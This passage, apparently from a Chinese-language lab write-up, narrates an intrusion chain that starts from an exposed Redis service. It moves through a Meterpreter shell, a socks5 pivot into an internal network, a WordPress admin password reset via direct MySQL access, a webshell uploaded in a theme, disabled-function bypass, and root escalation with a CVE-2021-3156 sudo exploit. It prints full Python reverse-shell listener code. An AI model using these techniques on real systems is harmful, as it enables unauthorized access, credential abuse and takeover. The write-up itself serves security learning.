但这实在是非常的鸡肋,基本没用啊。因为这个目录是只有 redis 用户自己可以进去读文件的,也就是自己写给自己看,没法进一步利用。

image-20210314221641944

不过,既然能够写文件,那也就可以写 msf木马 啦。

- msf 获取 metershell:

这里生成一个简单的 msf木马 ,然后开一下 http服务器 以便从靶机拉取 msf木马

然而,并没有成功:

image-20210314222326820

emmm,或者试一下 正向shell 看看。当然除了用 pythonphp 也是可以简单起一个 http服务器 的。

image-20210314222606428

然后试试攻击:

image-20210314222702900

显然,这里是炸了,并没有成功。

不过实际上 靶机 是存在 python 环境的,可以用 pythonmeterpretershell 尝试一下。

image-20210314223128708

emmm,这里是成功拿到了 meterpretershell 了。可以尝试搜寻 提权建议 试试。

image-20210315103436728

看起来是不太行了,那么可是尝试 横向移动

- 开启代理:

首先,可以简单看一下 靶机 当前的内网情况,显然有一个 172.16.243.0/24 段。

image-20210315104645353

那么开启一个简单的 socks5 吧。先设置一个自动路由:

image-20210315104750901

之后直接开启 socks5 代理:

image-20210315104849756

此时,就可以使用 代理链 或者其他代理方式进行操作了。比如这里使用最简单的 firefox 浏览器使用该代理去访问。先简单的用 FoxyProxy 插件去设置一下代理:

image-20210315105039705

那么可以简单验证一下该代理是否已经被开启了,比如尝试访问一下 靶机 的另一个IP 172.16.243.220

image-20210315110003844

那么不妨再简单的看如何从 redis 用户逃逸出来,比如想办法拿一个 webshell 即把用户从 redis 逃逸成 www-data 用户了。

- 获取 webshell:

首先,看一下网络目录,为 /var/www/web

image-20210315110247188

但是咱们显然是没有直接的写权限的:

image-20210315110343724

虽然没有写权限,但有读权限,并且可以看到是存在一个 wordpress 的玩意,不如去读一下配置。

image-20210315110519984

从这里可以看到是存在一个本地的 mysql 服务器,只是没有对外开放而已,并且还得到了 登录用户登录密码 。那么不如可以去修改 wordpress 后台管理员用户密码然后从 wordpress 的后台 getshell 。 先尝试登录一下 mysql ,这里是成功从本地登录上了:

image-20210315110755901

然后可以看一下后台管理员的用户和密码:

image-20210315110906372

显然,管理员的用户名是 morouu 了,只是这个密码的 hash 用的是 wordpress 自己的加密方式加密的,简单说来即是 md5(salt + 密码明文) ** 很多次再使用变种的 base64 存储。其中 $P 为前缀,不需要看,而从 后一个$** 开始,前 8 位为 salt ,后 22 位为 密码hash 经过变种 base64 编码后得到的值。由于是 md5(salt + 密码明文) 很多次,不太可能破解出来了。

不过实际上 wordpress 为了能够方便当用户忘记密码时能够找回密码,是允许用户将 md5(密码明文) 覆盖回原来的 密码hash 登录的。当用上述方式登录后,md5(密码明文) 就会被 wordpress 处理变为使用 wordpress 的加密方式的 密码hash 了。这虽说看起来有点不太安全,当然也是理想情况下吧,毕竟攻击者能有数据库操作权限确实是几乎不可能的了。

那么这里既然拥有了数据库操作权限,那就可以利用这个方式去重置后台管理员密码了。首先简单生成一个 md5 值作为登录密码:

image-20210315112121140

然后从数据库去 update 一下管理员用户:

image-20210315112259992

然后尝试从代理页面去登录:

image-20210315112410708

OK,成功登上去了:

image-20210315112443442

至于 wordpress 的后台 getshell 实际上是非常简单的,比如说可以从官网上下一个 wordpress 的主题文件,然后把 [一句话] 文件给放进去:

image-20210315112605440

再到 wordpress 后台的主题添加页面,将刚刚处理好的主题给上传了:

image-20210315113125728

当出现以下页面时,说明主题安装成功:

image-20210315113258127

此时只需要访问 http://172.16.243.220/wordpress/wp-content/themes/[主题名称]/dm.php 就能访问到刚刚的 [一句话] 了:

image-20210315113400184

只是从 phpinfo 里面可以看出,系统函数都给 ban 了:

遇事不决,直接上 甜甜圈 好了,直接 python3 -m pip install doughnuts && python3 -m doughnuts.install [命令名] ,比如我这里为:

image-20210315113715075

然后输入 dh 即可开启。

image-20210315113749519

那么直接命令操作吧,先挂代理,然后连接 [一句话]

image-20210315114417581

这里确实是没有可以执行的系统函数了,那么尝试将其给 bypass 试试:

image-20210315114512863

显然是成功了!那么可以使用 伪完整交互式shell 接收脚本去接收一个反弹shell吧,这里先上脚本:

from socket import error, socket, AF_INET, SOCK_STREAM, SOL_SOCKET, SO_REUSEADDR
from termios import tcgetattr, tcsetattr, TCSADRAIN
from sys import stdin, stdout, version_info, argv
from tty import setraw
from os import path, system, _exit

# import thread, deal with byte
if (version_info.major == 2):
    def get_byte( s, encoding = "UTF-8" ):
        return str(bytearray(s, encoding))


    STDOUT = stdout
    import thread
else:
    def get_byte( s, encoding = "UTF-8" ):
        return bytes(s, encoding = encoding)


    STDOUT = stdout.buffer
    import _thread as thread

FD = None
OLD_SETTINGS = None


class _GetchUnix:
    def __call__( self ):
        global FD, OLD_SETTINGS
        FD = stdin.fileno( )
        OLD_SETTINGS = tcgetattr(FD)
        try:
            setraw(stdin.fileno( ))
            ch = stdin.read(1)
        finally:
            tcsetattr(FD, TCSADRAIN, OLD_SETTINGS)
        return ch


getch = _GetchUnix( )

CONN_ONLINE = 1


def stdprint( message ):
    stdout.write(message)
    stdout.flush( )


def close_socket( talk, exit_code = 0 ):
    global FD, OLD_SETTINGS, CONN_ONLINE
    CONN_ONLINE = 0
    talk.close( )
    try:
        tcsetattr(FD, TCSADRAIN, OLD_SETTINGS)
    except TypeError:
        pass
    system("reset")
    _exit(exit_code)


def recv_daemon( conn ):
    global CONN_ONLINE
    while CONN_ONLINE:
        try:
            tmp = conn.recv(16)
            if (tmp):
                STDOUT.write(tmp)
                stdout.flush( )
            else:
                raise error
        except error:
            msg = "Connection close by socket.\n"
            stdprint(msg)
            close_socket(conn, 1)


def main( port ):
    conn = socket(AF_INET, SOCK_STREAM)
    conn.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
    conn.bind(('0.0.0.0', port))
    conn.listen(1)
    try:
        talk, addr = conn.accept( )
        stdprint("Connect from %s.\n" % addr[ 0 ])
        thread.start_new_thread(recv_daemon, (talk,))
        talk.send(get_byte("""python -c 'import pty; pty.spawn("/bin/bash")'\n""", encoding = 'utf-8'))
        talk.send(get_byte("""clear\n""", encoding = 'utf-8'))
        while CONN_ONLINE:
            c = getch( )
            if c:
                try:
                    talk.send(get_byte(c, encoding = 'utf-8'))
                except error:
                    break
    except KeyboardInterrupt:
        pass
        # stdprint("Connection close by KeyboardInterrupt.\n")
    finally:
        stdprint("Connection close...\n")
        close_socket(conn, 0)


if __name__ == "__main__":
    if (len(argv) < 2):
        print("usage:")
        print("      python %s [port]" % path.basename(argv[ 0 ]))
        exit(2)
    main(int(argv[ 1 ]))

这里先运行脚本进行监听,然后使用 甜甜圈 弹个shell:
image-20210315114846324

OK,这里是成功了,不妨 ls /tmp 试试:

image-20210315114938968

成功逃逸了,那么下一步即可以是提权了。

- CVE权限提升

先看一下当前 靶机 的信息吧:

image-20210315115122264

这是一个 ubuntu19 的系统,此时可以想到 CVE2021-3156sudo权限提升漏洞 。可以检查以下 sudo 的版本:

image-20210315115628741

显然是可以的了,那么就利用一下 exp 直接提权吧 exp地址 ,将其下载打包成 .zip 后直接开服务器 wget 啥的或者用 甜甜圈 上传都行:

image-20210315120204170

但是这里出现了一个小问题,似乎是找不到 cc1 这个玩意:

image-20210315120246554

直接用 find 先把 cc1 给找到了,

image-20210315120330155

然后加到环境变量里边即可,

image-20210315120418037

之后直接运行 ./sudo-hax-me-a-sandwich 0 就能得到 root 权限了:

image-20210315120500120

此时可以用该权限去运行上边生成的 msf木马

image-20210315120730897

那么就拿下了 ubuntu19 ,emmm还有个小彩蛋。


三、总结:

咋说呢,说起来 redis 外网泄露确实是很不安全的,这可不能够忽视啊。同时关于对 redis 用户逃逸,确实是还蛮巧妙的,哈哈哈。